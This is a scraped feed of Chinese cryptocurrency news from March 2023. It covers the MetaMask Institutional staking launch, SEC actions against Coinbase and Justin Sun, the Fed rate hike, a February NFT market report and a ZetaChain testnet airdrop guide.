    MetaMask 机构钱包开启新质押市场，预计将于以太坊上海升级前几周上线 ConsenSys 宣布其 MetaMask 机构钱包已经开启新的质押市场，公司和投资机构能够选择不同的质押服务。据悉，该新市场将采用 ConsenSys Staking 技术及 Allnodes、Blockdaemon 和 Kiln 的产品。新市场的标志是条款和条件的标准化。MetaMask Institutional 产品负责人 Johann Bornman 表示，新质押市场上查看和比较费用率将变得容易。该质押市场预计将在以太坊上海硬分叉前几周上线。 内容来源 观点： The Block：新质押市场预计于 3 月 27 日上线。【原文为英文】 内容来源 ConsenSys：Codefi Staking 将以 ConsenSys Staking 的名义重新启动。截止目前，Codefi Staking 拥有超过 17,000 个以太坊验证者，锁定的总价值超过 10 亿美元。我们通过一个网络应用程序和一个 API 为用户提供直接的验证器质押体验，同时也为其他平台的质押体验做出贡献，例如 MetaMask 机构解决方案 MetaMask Institutional（MMI）和 Lido。我们运营的验证器参与率高达 99.9%，且我们的基础设施是非托管的，而且我们有 SOC 2 I 型和 II 型认证，并正在进行 ISO20001 认证。此外，通过实时监测能力，用户可以持续监测验证器的性能。【原文为英文】 内容来源 ConsenSys：机构可以选择使用 MetaMask 机构钱包，将以太坊质押给平台上的四个质押供应商之一：ConsenSys、Allnodes、Blockdaemon 和 Kiln。用户需要至少投入 32 枚 ETH 才能通过 MMI 质押。此外，用户还可以通过 MetaMask 钱包或支持的任何其他钱包进行 ETH 质押，如果选择使用 Consensys Staking API 进行质押。用户可以将 Consensys Staking API 整合到他们的应用程序中，建立自己的质押界面。此外，用户还可通过 Lido 进行质押，Consensys Staking 是组成 Lido 的 ETH 质押服务的 30 个供应商之一。【原文为英文】 内容来源  ( 27 min )

  • Open

    Alliance Dao：如何通过 ZKP 构建 Web3 产品？
    Alliance Dao：如何通过 ZKP 构建 Web3 产品？ – 深潮TechFlow 撰写：Mohamed Fouda、Qiao Wang，Alliance Dao Read the full entry  ( 7 min )
    Alliance Dao：如何通过 ZKP 构建 Web3 产品？
    Alliance Dao：如何通过 ZKP 构建 Web3 产品？ – 深潮TechFlow 撰写：Mohamed Fouda、Qiao Wang，Alliance Dao Read the full entry  ( 7 min )
    衍生品起家，控股 BitKeep， Bitget 如何崛起自成生态？
    衍生品起家，控股 BitKeep， Bitget 如何崛起自成生态？ – 深潮TechFlow 撰文：0xlee Read the full entry  ( 4 min )
    衍生品起家，控股 BitKeep， Bitget 如何崛起自成生态？
    衍生品起家，控股 BitKeep， Bitget 如何崛起自成生态？ – 深潮TechFlow 撰文：0xlee Read the full entry  ( 4 min )

  • Open

    FTX将从Modulo Capital收回超过4亿美元，双方已达成和解协议并待法院批准
    PANews 3月23日消息，据路透社报道，根据特拉华州美国破产法院的一份文件，加密交易所FTX已与对冲基金Modulo Capital达成一项协议，FTX将从Modulo收回4.04亿美元的现金，即收回FTX在2022年向Modulo汇出的97%的资金。Modulo还放弃对FTX加密交易所持有的5600万美元资产的要求。作为和解协议的一部分，FTX和Alameda将放弃对Modulo的任何所有权。据悉，该协议必须得到美国破产法官John Dorsey的批准。 根据法庭文件，FTX的附属对冲基金Alameda Research从2022年5月开始的一系列转账中向Modulo汇款了4.75亿美元，当时FTX正在亏损并走向破产。备案文件显示，Alameda在FTX创始人Sam Bankman-Fried（SBF）的指导下，已支付2500万美元收购Modulo的股份，并向Modulo管理的投资基金出资4.5亿美元。  ( 4 min )
    Xapo Bank成为首家支持USDC存取款的持牌银行
    PANews 3月23日消息，据美通社报道，总部位于直布罗陀的比特币托管银行Xapo Bank表示，它将与稳定币发行商Circle合作提供USDC存取款服务。Xapo将按照1:1的汇率提供USDC与美元的转换，并支持USDC转账。Xapo Bank的所有USDC存款都自动转换为美元，存款年利率为4.1%。Xapo表示不提供贷款业务，客户资金将全部作为准备金并投资于短期流动资产。该银行向会员收取150美元的管理费。Xapo Bank是一家完全持牌和受监管的银行，是直布罗陀存款担保计划(GDGS)的成员，可为最高10万美元存款提供担保。  ( 4 min )
    Coinbase CEO：Coinbase没有违法，愿意出庭证明
    PANews 3月23日消息，Coinbase首席执行官Brian Armstrong在推特发文称，今天Coinbase收到了美国证券交易委员会（SEC）关于质押和资产上线的韦尔斯通知。两年前，SEC详细审查了我们的业务，并批准了Coinbase上市。我们的S1清楚地解释了我们的资产上线过程，并57次提到了质押。Coinbase的资产审查流程非常严格，已经拒绝了90%以上的资产上线申请。虽然我们理解这是改革金融体系的一部分，但我们在法律上是正确的，对事实有信心，并愿意出庭证明SEC在涉及数字资产时的不公平和不合理。与此同时，Coinbase将继续打造值得信赖的产品和服务，并继续与世界各地的政府和监管机构合作。  ( 4 min )
    美国SEC向Coinbase发出韦尔斯通知，称其可能违反证券法
    PANews 3月23日消息，据官方消息，Coinbase表示已经收到美国证券交易委员会（SEC）的“韦尔斯通知”，调查对象涉及Coinbase上线的部分数字资产、质押服务Coinbase Earn、Coinbase Prime和Coinbase Wallet。Coinbase表示，韦尔斯通知中并没有提供很多信息。SEC工作人员只是表示，已经发现了潜在的违反证券法的行为。Coinbase要求SEC指出其平台上线的哪些资产可能是证券，但遭到SEC拒绝。在SEC今天发出通知之前，Coinbase在过去几个月里向SEC提供了多项关于注册的建议，但SEC最终都拒绝回应。Coinbase重申，不会上线证券，也不会向客户提供证券产品。Coinbase首席法务官Paul Grewal表示：“如果有必要，我们欢迎法律程序，以提供我们一直倡导的透明度，并证明SEC在涉及数字资产的问题上存在不公平或不合理。在那之前，一切业务照常运行。”Coinbase曾公开批评SEC的监管结构模糊，并于去年7月请求SEC解释证券法如何适用于数字资产。SEC主席Gary Gensler曾在多个场合表示，他认为加密交易所在美国是作为未注册的证券交易所运营的，它们上线的绝大部分代币类似于证券。据此前消息，SEC起诉波场创始人孙宇晨，指控TRX和BTT是未注册证券。  ( 4 min )
    Kraken：将从3月27日起暂停ACH存取款功能
    PANews 3月23日消息，据CoinDesk报道，加密交易所Kraken将从3月27日起暂停自动清算中心(ACH)的存取款功能。在Silvergate Bank倒闭后，该公司正在寻找新的银行合作伙伴。Kraken表示，其他服务不会受到这一变化的影响。一旦找到替代银行，该交易所将恢复ACH存取款服务。  ( 4 min )
    美国SEC起诉孙宇晨，指控其出售未注册证券和操纵市场
    PANews 3月23日消息，据CoinDesk报道，美国证券交易委员会（SEC）周三起诉孙宇晨，指控其出售和空投未注册证券、实施欺诈和操纵市场。SEC在一份新闻稿中表示，它正在起诉孙宇晨、波场基金会、BitTorrent基金会和BitTorrent(现被称为Rainberry)销售未注册加密资产证券TRX和BTT。SEC进一步指控，被告通过“广泛的洗盘交易”计划操纵TRX二级市场。此外，SEC还起诉林赛·罗韩、杰克·保罗、Soulja Boy、Lil Yachty、Ne-Yo、阿肯和米歇尔·梅森等名人，指控他们在未披露代言费的情况下非法宣传TRX和BTT。这些名人中的大多数都达成了和解。SEC表示，孙宇晨试图通过洗盘交易计划人为提高TRX的交易量，他让自己的员工“在他控制的两个加密交易平台账户之间进行了超过60万笔TRX洗盘交易”，每天交易量在450万至740万枚TRX之间。孙宇晨还将TRX出售到二级市场，通过非法发行和销售未注册代币获利3100万美元。受此消息影响，TRX短线下跌，24小时跌幅达10.8%。  ( 4 min )
    Coinbase将上线Arbitrum
    PANews 3月23日消息，据官方消息，Coinbase将增加对Arbitrum(ARB)的支持。如果满足流动性条件，交易预计将于2023年3月23日开始。一旦建立了足够的资产供应，ARB-USD交易对将分阶段开放交易。在某些司法管辖区，ARB交易可能会受到限制。Coinbase将ARB标记为“实验性”资产。  ( 4 min )
    美联储主席鲍威尔：今年降息不是我们的基本预期，不考虑为所有未受保护的银行存款提供保险
    PANews 3月23日消息，美联储主席鲍威尔在货币政策新闻发布会上表示，少数银行出现了严重的困难，美联储、财政部和联邦存款保险公司早先已经采取了果断行动。我们的贷款计划有效地满足了银行的需求，也显示出有充足的流动性可用。劳动力市场仍然过于紧张，我们仍然强烈致力于将通胀率压低至2%。较高的利率和较慢的增长正在拖累企业。我们正在继续大幅缩减资产负债表。我们将密切关注即将到来的数据，以及紧缩信贷条件的实际和预期影响。我们考虑了暂停加息，但加息得到了强烈的共识支持。信贷紧缩可能意味着在利率政策方面的工作可以减少。与会者认为今年不会降息，今年降息不是我们的基本预期。我们不考虑为所有未受保护的银行存款提供保险。我仍然认为有一条通往软着陆的道路。我们还没有讨论过改变资产负债表缩减计划的问题。据此前消息，美联储将基准利率上调25个基点至4.75%-5.00%区间。美联储FOMC声明中声称，进一步收紧政策可能是合适的。  ( 4 min )
    美联储加息25个基点
    PANews 3月23日消息，美联储将基准利率上调25个基点至4.75%-5.00%区间。这是美联储自去年3月以来连续第九次加息，也是连续第二次加息幅度放慢至25个基点。美联储FOMC声明中声称，美国银行业稳健、有弹性，但一些事件将拖累经济增长。美联储将继续以相同的步伐减少国债和抵押贷款支持证券的持有量，进一步收紧政策可能是合适的。市场预计美国加息周期接近尾声，今年底之前或开启降息令利率降至4.25%-4.5%，以应对经济放缓。  ( 4 min )
    Telegram现已支持用户在聊天中发送USDT
    PANews 3月22日消息，据CoinDesk报道，Telegram 用户现可以在聊天中互相发送 USDT。USDT 已被添加到 Telegram 的@wallet 机器人中，扩展了该消息传递应用程序买卖加密货币的功能。交易通过 Tron 网络(TRC-20)进行。 去年，比特币 (BTC) 和 toncoin (TON)被添加到@wallet 的市场，后者也可以在聊天中发送。  ( 4 min )
    市场消息：GitHub将OpenAI聊天功能添加到编码工具中
    PANews 3月22日消息，据金十报道，市场消息：微软旗下代码托管平台GitHub将OpenAI聊天功能添加到编码工具中。 微软旗下代码托管平台GitHub使用OpenAI的语言生成工具创建了首批被广泛部署的程序之一，该应用程序名为Copilot，它帮助软件开发人员编写计算机代码。现在GitHub正在为该应用增加聊天和语音功能，让程序员可以询问如何完成特定的编码任务。周三公布的新版本被称为Copilot X，GitHub CEO表示，（新加的）聊天窗口可以解释代码段的用途，创建测试代码的方法，并提出错误修复建议。开发人员还可以用他们的声音给出指令或提出问题。他还表示，开发人员可以注册一个等待列表来预览新服务。他希望该软件可以用于教育。  ( 4 min )
    欧洲加密货币初创公司在2022年筹集了创纪录的57亿美元风险投资资金
    PANews 3月22日消息，加密货币风险投资公司 RockawayX 和初创数据提供商 Dealroom 的一份新报告显示，欧洲加密初创公司去年筹集了创纪录的 57 亿美元风险投资资金，高于 2021 年的 50 亿美元。Web3 仍然是一个关键领域，而增长最快的垂直领域是基础设施，包括开发人员工具、区块链可扩展性解决方案和第 1 层区块链。  ( 4 min )
    Metamask将于3月27日上线其质押市场
    PANews 3月22日消息，据The Block报道，Web3 钱包 Metamask 的机构版本今天公布了其与 Kiln、Blockdaemon 和 Allnodes 合作的质押市场。该平台将于 3 月 27 日上线，使希望深入研究质押的公司能够访问具有针对四个不同质押提供商的标准化条款和条件的产品。这些产品包括 Kiln、Blockdaemon、Allnodes 和 ConsenSys Staking。  ( 4 min )
    PA日报 | CCP Games完成A16z领投的4000万美元融资；超10万名参与者认购Space ID
    今日要闻提示： 1.白宫公开抨击数字资产，称“加密货币几乎没有价值” 2.DEX聚合器1inch发起创立NFT交易聚合器的提案投票 3.Magic Eden将推出比特币NFT市场，正集成比特币钱包Hiro和Xverse 4.Ronin黑客试图对Euler黑客进行网络钓鱼以窃取资金，Euler官方已喊话干预 5.Sui Network：主网将于第二季度推出，尚无正式的空投计划 6.链游开发商CCP Games完成A16z领投的4000万美元融资 7.Binance Launchpad项目Space ID已完成认购，超10万名参与者投入超867万枚BNB 8.彭博社：Circle本月已销毁约122亿美元的USDC，但发行量约为销毁量一半 监管消息 韩国国民议会将于3月28日起审议虚拟资产相关法案，4月将举行公开听证会 据Money Today报道，韩国国民议会正在就“虚拟资产相关法案”的立法进行全面讨论，其中包含投资者保护措施，例如虚拟资产（加密货币）的发行和披露规定。韩国国会政务委员会将于当地时间3月28日10:00召开第1议案审议分会，提出并讨论虚拟资产相关议案。4月将举行公开听证会，听取专家意见。 韩国国会政务委员会目前有18项虚拟资产相关法案待决，包括11项与虚拟资产相关的立法法案、4项电子金融交易法修正案、2项特定金融信息法修正案和1项关于设立金融服务委员会的法案修正案。 虚拟资产法案自去年以来已多次提交政务委员会，但都被其他法案推后，未能进行实质性讨论。对此，政务委员会的一位官员表示：“由于我们正在开始全面讨论，虚拟资产相关法律可能难以在本月底立即通过。我们将举行公开听证会听取意见和辩论，重点是法案的内容。” 白宫公开抨击数字资产，称“加密货币几乎没有价值” 据The Block报道，来自白宫的一份新报告抨击了数字资产未能实现其最初的承诺，并增加了消费者和整个美国金融体系的风险。拜登最新向国会提交的年度经济报告对数字资产的好处提出了重大质疑，几乎就在一年前，拜登下令多个联邦机构就这一问题进行研究并发布报告。报告中指出，数字资产被吹捧为知识产权和金融价值的传递工具、更好的支付机制、提高金融普惠性的途径和减少金融中间商的方式，但“到目前为止，加密资产没有带来任何这些好处”。事实上，到目前为止，加密资产似乎并没有提供任何具有基本价值的投资，也没有作为法定货币的有效替代品，也没有改善金融普惠性或提高支付效率。相反，他们的创新主要是为了人为创造稀缺性，以支持加密资产的价格。其中许多资产没有根本价值。这就凸显了监管在保护消费者、投资者和其他金融系统免受加密资产相关恐慌、崩溃和欺诈影响的作用。该报告还对美国央行数字货币（CBDC）的可能性表示怀疑，称CBDC可能会损害信贷可用性，增加银行挤兑的风险。此报告可能标志着对美国政府对数字资产的态度从不了解转变为公开对抗。 NFT DEX聚合器1inch发起创立NFT交易聚合器的提案投票 据Snapshot投票页面，DEX聚合器1inch发起创立NFT交易聚合器的提案投票。目前该提案的支持率为80.53%，投票将于3月26日结束。 提案指出，为保持1inch在DeFi聚合领域的竞争力，需要创立一个新的NFT交易聚合器协议。该聚合器旨在为交易NFT提供一个综合平台，费用将与其他竞争对手保持一致甚至更低。全栈Web 3解决方案工作室Solidity.io将为此聚合器提供技术支持。 Magic Eden将推出比特币NFT市场，正集成比特币钱包Hiro和Xverse 据CoinDesk报道，NFT市场Magic Eden将推出一个完全经过审计的比特币NFT市场。Magic Eden的交易者将能够在该市场购买铭文或在比特币网络内铸造的NFT。为了帮助交易者上架、购买和出售Ordinal NFT，Magic Eden正在集成比特币钱包Hiro和Xverse。新市场还将提供比特币NFT相关信息，如Ordinal稀有度和铭文编号。此外，Magic Eden正在与Ordinal项目Taproot Wizards、Inscribed Pepes和Bitcoin Bandits合作。 项目动态 Chainflip Labs公布代币经济模型，将向社区空投475万枚FLIP 据官方消息，跨链交易平台Chainflip Labs公布代币经济模型并将向社区进行空投。FLIP是Chainflip Labs的ERC-20原生代币，预计于2023年第二季度推出。该代币的初始供应量为9000万，每年通胀率为8%。 分配计划如下：（1）将向社区空投475万枚FLIP，分配给在2020与2021年参与Service Node空投计划的服务节点运营商；（2）690万枚FLIP用于代币销售；（3）1300万枚FLIP分配给贡献者；（4）约3,400万枚FLIP分配给战略投资者；（5）420万枚FLIP分配给Oxen基金会；（6）4,968,503枚FLIP作为流动资金；（7）2,200万枚FLIP作为储备资金。 此前去年5月份消息，Chainflip Labs完成1000万美元融资，Framework Ventures等参投。 Ronin黑客试图对Euler黑客进行网络钓鱼以窃取资金，Euler官方已喊话干预 据CoinDesk报道，链上标记为“Ronin bridge exploiter”（Ronin黑客）的地址昨日向标记为“Euler exploiter”（Euler黑客）的地址发送了一条链上通知，要求其解密一条加密信息。在包含此通知的这笔交易中，Ronin黑客向Euler黑客发送了2枚ETH。但专家称，该消息是一个网络钓鱼骗局，试图窃取Euler攻击者钱包的凭据。在Ronin黑客钱包向Euler黑客钱包发送消息几分钟后，Euler Finance的开发人员试图用他们自己的消息进行干预，他们警告Euler黑客警惕所谓的解密软件，称“最简单的方法就是退还资金”。Euler的开发人员在另一份交易中继续说道：“在任何情况下都不要试图查看该消息。不要在任何地方输入您的私钥。提醒您，您的机器也可能被入侵。” 以太坊基金会前开发人员Hudson Jameson表示，Ronin黑客的提议可能是一种几乎不加掩饰的企图，目的是诱使Euler黑客交出他们从Euler Finance窃取的私钥，从而交出加密货币。但他表示，链上消息背后的动机仍不清楚。 此前昨日消息，Euler正与攻击者进行私下谈判，攻击者称“无意保留不属于我们的东西”。 Sui Network：主网将于第二季度推出，尚无正式的空投计划 公链项目Sui Network在推特上表示，主网将于今年第二季度推出，目前没有正式的空投计划，Wave to Mainnet活动旨在进一步让社区了解关于Sui协议在主网之前转变Web3的潜力。 ENS基金会董事宣布辞职，新董事提名窗口将于4月10日开放 据官方治理论坛，ENS基金会董事Brantly Millegan宣布将辞去董事一职，辞职将在任命新董事后生效。 ENS DAO可根据章程第15条任命新的ENS基金会董事，新董事将在提名程序和选举后任命，ENS基金会将于4月10日17:00开放提名窗口，并于4月30日17:00关闭。5月1日至5日进行选举，选举结果公布后，将向ENS基金会发出任命新董事的通知。 法官批准Celsius托管账户结算，并返还72.5%的加密资产 据The Block报道，在美国纽约南区破产法院周二举行的听证会上，法官Martin Glenn批准了Celsius债务人、无担保债权人委员会和托管账户持有人特设小组之间的和解。个人托管账户持有人必须选择参与和解。反过来，Celsius债务人将同意根据交易条款解决针对托管账户持有人的托管资产的所有诉因。 根据和解协议，Celsius托管账户持有人可以在其托管账户中获得72.5%的加密货币，不包括交易费用。周二批准的和解协议没有释放与Earn计划中持有的资产相关的任何权利或诉因。Glenn今年1月裁定，Celsius Earn账户中的资产属于公司，而不是客户。 美国检方要求没收该国立法者从SBF获得的政治捐款，拟用于偿还此案受害者 据Semafor报道，通过查阅美国纽约南区检察官办公室于2月份发布的通知函，该机构要求立法者交出前FTX首席执行官Sam Bankman-Fried（SBF）及其员工的政治捐款。通知称，捐款代表SBF的犯罪所得，因此可以根据“联邦资产没收法”收回。它指示收款人将现金退还给美国法警服务，而不是FTX本身。检察官计划根据美国司法部的规定，使用没收的任何资金来补偿SBF涉嫌犯罪的受害者。它还表示，政府正在与这家破产公司协调。FTX此前曾向政治人物发出机密信件，要求在2月28日之前归还捐款。Semafor 证实至少有两名国会议员收到了这封信。 Semafor还表示，SBF是Semafor的投资者，Semafor计划回购他的权益。 Sushi DAO收到美国SEC传票，CEO提议建立300万美元的法律辩护基金 据CoinDesk报道，Sushi DAO周二透露，美国证券交易委员会（SEC）近期向Sushi DAO和其首席执行官Jared Grey发出了传票。Grey在一篇论坛文章中提议建立一个“Sushi DAO法律辩护基金”，称它将“支付核心贡献者的法律费用”。该提案建议为核心贡献者提供300万美元的USDT。如果最初的300万美元用完，还可以另外提供100万美元的USDT。Grey表示：“我们正在与SEC合作。我们不打算公开评论正在进行的调查或其他法律事务。”根据该提案，新基金将为自去年4月“Sushi 2.0”被批准以来一直活跃的核心贡献者支付律师费和其他费用。 Circle首席战略官：向USDC持有者推出忠诚度奖励分配计划 Circle首席战略官Dante Disparte在社交媒体发文称，最近稳定币脱锚是由外部市场力量造成，不在Circle的控制范围内，但是Circle将采取措施解决此问题，为此Circle将向USDC持有者推出忠诚度奖励分配计划并计划分发一次性USDC奖金。据Circle官方网站数据，截至3月10日，USDC持有者数量约160万。 融资消息 链游开发商CCP Games完成A16z领投的4000万美元融资 成立于1997年的游戏开发商 CCP Games 已经筹集了 4000 万美元的资金，用于制作一款以Eve Online宇宙为背景的新的 3A 区块链游戏。Andreessen Horowitz (A16z) 领投，Makers Fund、Bitkraft、Kingsway Capital、Nexon、Hashed 和其他参与者跟投。 CCP 总部位于冰岛首都雷克雅未克，并在伦敦和上海设有工作室。CCP Games 首席执行官 Hilmar Veigar 表示，这笔融资将使 CCP Games 能够利用其研发团队的发现，利用区块链技术全面开发新的 3A 游戏。 多资产投资平台eToro以35亿美元的估值融资2.5亿美元 据Techcrunch报道，多资产投资平台 eToro 以 35 亿美元估值融资 2.5 亿美元，该笔融资通过高级投资协议（AIA）获得的，投资者包括 ION Group、Social Leverage、SoftBank 和 Spark Capital。EToro 计划利用其新资本发展业务，并在全球和“主要市场”投资该产品。它还打算扩大其在美国的业务。 匿名DAO项目tomi完成4000万美元融资，DWF Labs领投 旨在建立替代互联网网络的去中心化自治组织 (DAO) tomi 已筹集到 4000 万美元，由数字资产做市商 DWF Labs 领投，Ticker Capital、Piha Equities、日本加密巨鲸和社区领袖 Hirokado Kohji 以及其他私人投资者参投。tomiNET 是一种由 DAO 管理、无监控的万维网替代方案。这笔资金将用于为网络吸引内容创作者。Tomi 的目标是“为互联网重新开始”，使用其 DAO 治理模型来促进言论自由和获取未经审查的信息。 Race Capital第二支基金Fund II获1.81亿美元超额认购 据彭博社报道，Race Capital第二支基金Fund II获得1.81亿美元超额认购。据悉，该基金已经进行了10项投资，投资组合包括机器学习开发平台Sematic和数字钱包Ottr Finance。 Race Capital普通合伙人Alfred Chuang表示，该公司比以往任何时候都对去中心化技术更感兴趣，尤其是在Race Capital投资的加密货币交易所FTX倒闭之后。 据数据平台Rootdata统计，Race Capital此前投资项目包括DeFi项目Huma Finance、全球支付平台Ping、Web3通信基础设施Notifi、加密钱包Martian、Solana钱包Ottr Finance、网络数据分析平台Umami等。 Bitget以3亿美元的估值追加投资3000万美元，收购了加密钱包BitKeep的控股权 据The Block报道，加密货币交易所 Bitget 以 3 亿美元的估值追加投资 3000 万美元，收购了加密钱包 BitKeep 的控股权。作为 Bitget 交易的一部分，BitKeep 的化名 CEO Kevin Como 将辞职，而 BitKeep 现任首席产品官 Karry Cheung 将晋升为 CEO。BitKeep 将继续作为独立实体运营。 重要数据 Binance Launchpad项目Space ID已完成认购，超10万名参与者投入超867万枚BNB 据官方公告，Binance Launchpad 项目 Space ID 已完成认购。认购期间共有 103,598 名参与者投入 8,677,923.9471 枚 BNB，超额认购 1,170 倍。5 名参与者达到 600,000 ID 硬顶，导致参与者分配给剩余用户。 数据：Voyager过去10天共转出9968.76万美元的代币，并提回1.68亿美元的USDC 据推特用户余烬监测，过去十天（3月12日至3月22日），Voyager向各交易平台共转出价值约9968.76万美元的加密货币，并提回了价值约1.68亿美元的USDC。 目前Voyager地址代币总价值8.82亿美元，其中稳定币占6.97亿美元，目前仅剩1.85亿美元为非稳定币资产。 数据：权志龙发行的NFT系列目前已铸造1378枚，仅占本次公开铸造总量的10.2% OpenSea数据显示，韩国歌手权志龙发行的NFT系列“Archive of PEACEMINUSONE”自今日11时开启公开铸造以来，仅铸造了1378枚，占此次公开铸造总量13,444枚的10.2%。 据此前昨日消息，该NFT系列还将在4月22日和4月29日分别公开铸造1888枚及654枚，三次公开铸造的NFT在价格、稀缺性和优势方面各不相同。 今日晚些时候消息，安全机构表示，权志龙发行的NFT系列存在CVE-2022-38217通用漏洞。 彭博社：Circle本月已销毁约122亿美元的USDC，但发行量约为销毁量一半 据彭博社报道，即使USDC稳定币发行商Circle收回了困在硅谷银行的存款，但客户仍继续以比购买它更快的速度赎回其发行的稳定币USDC。 根据研究人员CryptoCompare的数据，3月20日，用户赎回了7.386亿美元的USDC，而Circle在以太坊区块链上发行了不到900万美元的代币。数据显示，前一天，Circle在网络上发行了2.31亿美元，客户赎回了2330万美元。CryptoCompare发现，自3月初以来，Circle销毁了约122亿美元的USDC，而在以太坊上发行的金额约为其一半。根据CryptoCompare数据，自3月13日以来，投资者在以太坊上赎回了57.6亿美元的 USDC，而Circle已发行了约8.74亿美元的USDC。 USDC抛售也出现在去中心化金融应用程序上，Curve 3pool中稳定币占比继续倾斜，USDT占比仅为9%，这意味着Tether的需求量很大，而交易员正在退出其他稳定币。CryptoCompare分析师Jacob Joseph表示：“最近对银行合作伙伴关闭的担忧似乎已导致用户转向USDT和其他稳定币，而不是USDC。” Cathie Wood的Ark ETF售出价值1350万美元的Coinbase股票 据The Block报道，Cathie Wood的ARK Fintech Innovation ETF出售了价值1350万美元的Coinbase股票，这是自7月以来首次出售大量该公司股票。ARK出售了其ARK Fintech Innovation ETF的160,887股。这结束了2022年11月开始的长达数月的购买狂潮。 此前消息，本月早些时候，Ark增持了近3000万美元的Coinbase股票。该基金目前上涨5%，年初至今上涨33%，此前在2022年下跌了约65%。Coinbase股价今天上涨11%，收于83.99 美元，年初至今上涨近150%。  ( 6 min )
    2月份NFT月度报告
    Mar. 2023, Daniel 数据源： NFT Monthly Report 仅从ETH和其他加密货币的价格来看，2月份似乎是一个横盘行情，非常适合短期交易。虽然这个月没有很多重大的开发进展，但实际上，NFT市场有几个重要的事件发生。 直到上个月，OpenSea是迄今为止最大的市场，没有其他平台有机会成为NFT市场2.0的模板。然后来了Blur，在2月份以其高性能的聚合产品引爆了市场。 Polygon在熊市中对DeFi和GameFi一直表现强劲，现已超过Solana成为第二大NFT交易链。 最后，亚马逊在2月份领导了一轮最大的投资，为一个顶级数字收藏品项目提供了强有力的支持，以利用其庞大的娱乐帝国和普通大众。 总的来说，与以前的季度相比，这些进展应该在整个加密市场情绪普遍积极的背景下看待，其中ETH与传统股票市场的关联性朝着积极的方向脱钩。 ETH基本保持在1月份的复苏水平，除了2月13日的急剧下跌到1,506美元，随后有所恢复。 NFT的市值在2月11日达到了每月最低点160亿美元，但随后达到了自11月以来的最高水平，为210亿美元。 通过所有市场的NFT交易量达到了自5月以来的最高水平，为19亿美元（请注意，该数字包括聚合器中的一些NFT值，因此存在重复计算）。不包括聚合器，这个数字为5.21亿美元，自8月份以来最高。 在1月份NFT用户数急剧增加之后，这个数字在2月份回落。 Polygon成为第二大NFT交易链，占总量的5.7% Solana失去了大部分交易量，下降了58.4% 除OpenSea外，LooksRare是第二大收益的NFT市场，收取了平台费用。 Blur已成为最大的NFT交易平台，在5个月内从全新状态发展到比OpenSea大59%。 资金轮次略微增加，从一月的7个增加到二月的10个（注意，其中包括一个IPO）。 Superplastic完成了最大的轮次，获得了由亚马逊领导的2000万美元A-4系列投资。 以太坊在1月的复苏基础上表现依然强劲，但在月中出现了一段波动期，价格在一周内暂时下跌了10%，降至1,506美元。 Price of ETH 通常情况下，这个统计数据不值得注意。然而，标普500指数的走势在这段时间内有了明显的不同，从2月初到月底下跌了5%，表明加密市场和传统证券之间的相关性越来越小。 NFT市场从2月11日的月度低点开始迅速反弹，直至月底。 NFT Market Cap & Volume 在11日的跌势之后，该数字达到了自11月以来的最高水平，达到了210亿美元。然而，该市场在3月份又回落了。由于高度波动且与ETH价格和标普500指数均不相关，当前形势为NFT交易者创造了一个有趣且有潜力的市场。 通过各个市场进行的NFT交易量达到了自5月以来的最高水平，为19亿美元。 NFT Volume by Chain (with Wash Trading Filtered) 请注意，此数字将某些NFT值重复计算，因为它包括聚合器。排除聚合器，此数字为5.21亿美元，仍然是自8月以来的最高水平。这在考虑到以太坊的强劲表现后并不出人意料。 1月份NFT用户每周的数量急剧上升，但在2月份回归基线。 Weekly Users 1月份NFT用户每周的数量出现了异常的增长。但在2月份恢复到基线。 Polygon成为NFT交易的第二大链，占市场总量的5.7%。 对于Polygon的NFT生态系统来说，2月份是个惊人的月份，Binance NFT市场与L2链集成、Coinllectibles项目的受欢迎程度以及星巴克推出高端NFT。 NFT Volume by Chain (with Wash Trading Filtered) 同时，Solana失去了大部分交易量，降幅达到了58.4%。 相反，Solana的NFT生态系统在2月份遭受了重创，SOL价格出现了大幅波动。 OpenSea仍然是最赚钱的市场，其次是LookRare。 Marketplaces Table February OpenSea平台的收入为530万美元，而LookRare的收入为210万美元。 Blur已成为最大的NFT交易平台，在5个月内从全新状态迅速发展到比OpenSea的交易量多59%的市场。 NFT Volume by Marketplace (With Wash Trading Filtered) 在过去的几个月里，NFT聚合器越来越受欢迎，尤其是Blur。然而，正如Footprint在最近的一篇文章中所探讨的那样，Blur在2月份的空投催化了它的增长，使它在数量上超过了OpenSea。 融资轮次略有增加，从1月的7次增加到2月的10次。 Investment by Category 这个数字包括一个来自NFT游戏公司的IPO。其他9轮融资主要是种子期和种子期前的融资，还有几个A轮融资。 Superplastic完成了最大的一轮融资，获得了2000万美元的A-4轮融资，由亚马逊领导。 Superplastic创造数字影响者、艺术家和收藏品。重要的是，亚马逊已经购买了他们的愿景，并领导他们的A-4系列，并将支持他们的节目和娱乐产品的发展。  ( 5 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.22）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    视频｜$ARB代币估值多少？！Arbitrum空投应该持有还是抛售？
    00:00 精彩预告 01:05 如何评估ARB价值？ 04:39 空投应该持有还是抛售？ 07:18 ARB开放交易时间表 07:44 其他潜在空投机会 Arbitrum官网： https://arbitrum.foundation/ 各交易所开放$ARB充值及交易时间表： https://www.panewslab.com/zh/articledetails/d5p9jpr7.html 空投信息聚合器专题： https://www.panewslab.com/zh/topiclist/1629365774078402.html Arbitrum空投后，速览其他潜在空投的知名项目： https://www.panewslab.com/zh/articledetails/eluypfng.html  ( 4 min )
    Arbitrum空投之后，可以零撸的新公链ZetaChain
    来源：Rekt Fencer   作者：Leo 错过 ARB 空投，别担心，Crypto 行业永远都有机会，只要有执行力就能获得下一个机会，本文将为大家介绍一个不错的项目——ZetaChain。 ZetaChain 是去中心化的 L1 区块链，内置跨链互操作性，旨在连接所有区块链。近日其官方称，团队将奖励那些积极为该测试网做出贡献的经批准的合格参与者。 目前尚未公布其融资信息，但据观察，Delphi Digital、The Spartan Group、Amber Group 和一些大型 VC 都关注订阅了 ZetaChain 的官方社交媒体，推测这些风投很可能投资了 ZetaChain。 总的来说，ZetaChain 是个目前值得交互的项目。 首先进行测试网交互（跨链swap） 需要准备一些 Goerli ETH； 在小狐狸上添加Mumbai testnet网络； 申请MATIC 测试币，需转发推特； 进入Zeta网站，点击 Get ZETA，验证和授权推特和连接以太坊账户； （BlockBeats 注：推特注册时间需超过一个月） 点击获取ZETA 测试币； 如果并未收到 ZETA，还有一种方法是通过其官方 DCFaucet ZETA 进入官方 DC 并验证，点击「zeta-faucet」频道，输入「Zeta faucet drip」加上「钱包地址」，也可以领取到 ZETA 测试币。 